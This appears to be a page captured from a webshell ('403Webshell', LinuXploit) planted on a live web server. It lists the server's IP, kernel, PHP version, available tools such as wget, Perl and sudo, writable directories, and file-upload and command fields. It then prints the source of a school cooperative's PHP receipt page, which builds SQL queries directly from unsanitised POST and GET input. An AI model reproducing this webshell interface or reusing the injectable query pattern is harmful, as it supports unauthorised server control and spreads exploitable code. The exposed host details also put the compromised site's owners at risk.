403Webshell
Server IP : 61.19.30.66  /  Your IP : 216.73.216.80
Web Server : Apache/2.2.22 (Ubuntu)
System : Linux klw 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:39:31 UTC 2014 x86_64
User : www-data ( 33)
PHP Version : 5.3.10-1ubuntu3.48
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/cooperative/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ Back ]     

Current File : /var/www/cooperative/bacodesave2s.php
<?
require_once "config/configuser.inc.php";
//require_once "../head.php";
$teach=$objResult[Username];
?>
<html>
<head>
<meta http-equiv=Content-Type content="text/html; charset=tis-620">
<meta http-equiv="refresh" content="2; url=sells.php">
<title>-:- ãºàÊÃç¨ÃѺà§Ô¹ -:-</title>

</head>

<body onload="window.print()">

<EMBED SRC="somg.mp3" height="10" width="30" AUTOSTART="true" VOLUME="100%" MASTERSOUND></EMBED> 
<?
$year=date(" Y ")+542; 
$signup = (date("Y")+543).date("/n/j") ;
$cash=$_POST[cash];
$dd=date("d-m-y"); 
$priee=$_POST[sumtotalall];
$time = date("H:i:s");
$bill = $time.$signup.$teach;
//*** Update Condition ***//
if($_GET["Action"] == "Save")
{
	for($i=1;$i<=$_POST["hdnLine"];$i++)
	{
		$strSQL = "UPDATE sell SET ";
		$strSQL .="statussell ='1'";
		$strSQL .=",pricsell = '".$_POST["txtpricsell$i"]."' ";
		$strSQL .=",idcodesell = '".$_POST["txtidcodesell$i"]."' ";
		$strSQL .=",datesell = '$signup' ";
		$strSQL .=",userbysell = '$_POST[card]' ";
		$strSQL .=",nosell = '$time' ";
		$strSQL .=",billnumber = '".$_POST["txtbill"]."' ";
		$strSQL .=",statusprint = '".$_POST["tpysell"]."' ";
		$strSQL .="WHERE idsell = '".$_POST["hdnid$i"]."' ";
		
		$objQuery = mysql_query($strSQL);
	}
	//header("location:$_SERVER[PHP_SELF]");
	//exit();
}
$strSQL = "select * from sell left join sell_product on sell.bacodesell=sell_product.sell_bacode        
where statussell<1 and bacodesell!='' and usersell=$teach";
$objQuery = mysql_query($strSQL) or die ("Error Query [".$strSQL."]");
$i = 1;
?>

<form name="frmMain" method="post" action="home11.php?Action=Save">
<table  width="100%" border="1">
 <center><font size='1'>ãºÊӤѭÃѺà§Ô¹</font></center>
 <center><font size='1'>âçàÃÕ¹¡Ñ¹·ÃÅÑ¡ÉìÇÔ·ÂÒ Tax.1033404001-T.045661617</font></center>
<center><font size='1'>101 Á.12 µ.àÊÒ¸§ªÑ Í.¡Ñ¹·ÃÅÑ¡Éì ¨.ÈÃÕÊÐà¡É</font></center>
  
  <tr bgcolor="#FFFFFF">
    
	 
	 <th width="10"> <div align="center"><font size="+1">à§Ô¹Ê´</font></div></th>
	 <th width="100"> <div align="center"><font size="+1">ÃÇÁÃÒ¤Ò</font></div></th>
	<th width="100"> <div align="center"><font size="+1">·Í¹</font></div></th>
	
	

  </tr>
<?
$i =0;

while($objResult = mysql_fetch_array($objQuery))

{
if($bg == "#EEEEEE") { //Êèǹ¢Í§¡Òà ÊÅѺÊÕ 
$bg = "#FFFFFF";
} else {
$bg = "#EEEEEE";
}

	$i = $i + 1;
	$idsell =$objResult["idsell"];
	$idcodesell =$objResult["idcodesell"];
	$namestoc =$objResult["sell_proname"];
	$pricsellstoc =$objResult["sell_prosell"];
	$unitsell =$objResult["sell_unit"];
	
	
	$pric =$pricsellstoc*$unitsell;
	$pricsum+=$pric;
	;
	

	

?>
  <tr bgcolor="<?=$bg?>">
  


  <tr bgcolor="<?=$bg?>">
	 <td><font size="+1"><?=$i?></font></td>
	</div></td>
	<td><input type="text" name="txtidcodesell<?=$i;?>" style="font-size:20px;" maxlength="10" value="<? echo $idcodesell?>" >
	
	<td><font size="+5"><? echo $namestoc?></font></td>
	<td><font size="+1"><? echo $unitsell?></font></td>
  <td><input type="text" name="txtpricsell<?=$i;?>" style="font-size:20px;" maxlength="10" value="<? echo $pric?>" >
</td>	
<td> <a href=del.php?id=<? echo "$idsell"; ?> onClick="return confirm ('¤Ø³µéͧ¡ÒÃź¢éÍÁÙŹÕé? ')"><img src=images/delete.png width=40 height=40 border=0 alt=ź¢éÍÁÙÅ></td>




  </tr>
<?
	  $i = $i;
  }
  ?>

  <?
  $ton=$cash-$priee;
  
  ?>
  <tr bgcolor="#FFFFFF">
	
    <th width="10"> <div align="center"><font size="+1"><? echo $cash?></font></div></th>
	<th width="100"> <div align="center"><font size="+1"><? echo $priee?></font></div></th>
	 <th width="100"> <div align="center"><font size="+1"><? echo $ton?></font></div></th>
	
	

  </tr>
</table>
</form>
<?php include("regisin111s.php");?>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit